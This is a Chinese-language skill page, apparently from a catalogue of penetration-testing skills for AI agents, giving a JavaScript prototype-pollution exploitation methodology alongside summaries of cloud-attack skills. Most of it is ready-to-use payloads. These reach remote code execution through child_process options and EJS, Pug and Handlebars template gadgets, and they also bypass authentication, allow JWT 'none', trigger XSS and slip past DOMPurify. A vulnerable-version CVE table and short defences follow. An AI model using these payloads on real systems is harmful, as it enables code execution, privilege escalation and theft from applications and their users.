一键导入
prototype-pollution-exploit
JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景
菜单
JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
GCP 云环境渗透测试总体方法论。当目标使用 Google Cloud Platform、发现 GCP 相关资产(GCS Bucket/Compute Engine/Cloud Functions/GKE)、获取 GCP 凭据(Service Account Key/OAuth Token/Metadata Token)、或需要对 GCP 环境进行安全评估时使用。提供从未授权枚举到提权、后渗透、GCP-to-Workspace 穿越的全流程决策树。覆盖 37+ GCP 服务攻击面
Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入(HTTP/OSS/消息队列触发器参数篡改)、环境变量泄露(硬编码凭据提取)、函数代码注入/覆盖(UpdateFunctionCode)、Runtime 利用(/tmp 写入/Layer 劫持/依赖投毒)、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill
腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理
Java 源码注入类漏洞审计。当在 Java 白盒审计中需要检测注入类漏洞时触发。 覆盖 6 种注入: SQL 注入(JDBC/MyBatis/Hibernate/JPA)、命令注入(Runtime.exec/ProcessBuilder)、 SSRF(HttpURLConnection/OkHttp/RestTemplate)、LDAP 注入、SpEL/OGNL 表达式注入、NoSQL 注入(MongoDB)。 需要 java-audit-pipeline 提供的数据流证据(EVID_*)作为审计输入。
| name | prototype-pollution-exploit |
| description | JavaScript 原型链污染漏洞利用方法论。当目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入时使用。覆盖 Server-side(RCE/权限绕过)和 Client-side(XSS/DOM 操控)两种场景 |
| metadata | {"tags":"prototype pollution,__proto__,constructor,javascript,nodejs,lodash,json,原型链污染,RCE,XSS","category":"exploit","mitre_attack":"T1059.007,T1190"} |
核心原理:通过修改
Object.prototype,向所有 JavaScript 对象注入恶意属性
存在漏洞的代码模式:
├─ 递归合并/深拷贝: merge(target, userInput)
├─ 路径赋值: obj[a][b] = value(a/b 来自用户)
├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本)
├─ jQuery: $.extend(true, {}, userInput)
└─ 自定义 deepCopy/assign 函数
// 方式 1: __proto__ 直接注入
{"__proto__": {"polluted": "yes"}}
// 方式 2: constructor.prototype
{"constructor": {"prototype": {"polluted": "yes"}}}
// 方式 3: 嵌套路径注入(URL 参数场景)
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
// 方式 4: JSON 数组绕过(某些 parser 处理差异)
[{"__proto__": {"polluted": "yes"}}]
// 服务端验证(如能执行代码)
console.log({}.polluted); // 输出 "yes" = 污染成功
// 黑盒验证:观察应用行为变化
// 例如:污染 admin=true → 获取管理员权限
目标环境?
├─ Node.js + child_process 可触发
│ └─ 污染 shell/env/NODE_OPTIONS → RCE
├─ Node.js + 模板引擎(EJS/Pug/Handlebars)
│ └─ 污染模板编译选项 → RCE
├─ Node.js + 认证逻辑
│ └─ 污染 isAdmin/role → 权限绕过
└─ 无直接 RCE 路径
└─ 污染配置项(DEBUG/verbose)→ 信息泄露
// 污染 child_process.spawn 的默认选项
{"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/environ"
}}
// 或通过 env 注入
{"__proto__": {
"env": {
"NODE_OPTIONS": "--require=./malicious.js"
},
"shell": "/bin/bash"
}}
// EJS 编译时会检查 opts.outputFunctionName
// 如果被污染,注入的代码会在模板编译时执行
{"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}}
// EJS 3.x 另一向量
{"__proto__": {
"client": true,
"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"
}}
// Pug 模板引擎
{"__proto__": {
"block": {
"type": "Text",
"val": "x]);process.mainModule.require('child_process').execSync('id');//"
}
}}
// Handlebars 4.x
{"__proto__": {
"main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"
}}
// 应用检查 user.isAdmin 或 user.role
// 如果未显式设置,会继承 prototype 的值
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"verified": true}}
// JWT 验证绕过(某些实现)
{"__proto__": {"algorithm": "none"}}
// 污染 innerHTML 相关属性
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 通过 URL 参数污染(某些 SPA 框架解析 query string)
?__proto__[src]=data:,alert(1)
?__proto__[onload]=alert(1)
// 某些版本的 DOMPurify 可通过原型链污染绕过
{"__proto__": {"ALLOWED_TAGS": ["img", "script"]}}
{"__proto__": {"ADD_ATTR": ["onerror", "onload"]}}
// 或禁用清理
{"__proto__": {"RETURN_DOM": true}}
// jQuery < 3.4.0 的 $.extend 存在原型链污染
// 配合 HTML 属性注入
{"__proto__": {"class": "xss-class", "onclick": "alert(1)"}}
| 库 | 漏洞版本 | CVE |
|---|---|---|
| lodash merge | < 4.17.12 | CVE-2019-10744 |
| lodash defaultsDeep | < 4.17.12 | CVE-2019-10744 |
| jQuery extend | < 3.4.0 | CVE-2019-11358 |
| minimist | < 1.2.6 | CVE-2021-44906 |
| class-transformer | < 0.3.1 | — |
| Hoek (hapi) | < 5.0.3 | CVE-2018-3728 |
| Handlebars | < 4.6.0 | CVE-2019-19919 |
| EJS | < 3.1.7 | CVE-2022-29078 |
# 静态扫描(源代码审计)
grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" .
grep -rn "\[.*\]\[.*\].*=" --include="*.js" . # 动态路径赋值
# 依赖版本检查
npm audit
npm ls lodash # 检查 lodash 版本
# 动态测试
# 在所有 JSON 输入点注入 __proto__ payload
# 观察响应变化或新属性出现
--disable-proto=throw 选项会阻止 __proto__ 访问Object.create(null) 创建的对象无原型 → 不可污染Object.hasOwn() 不受原型影响__proto__ → 用 constructor.prototype 绕过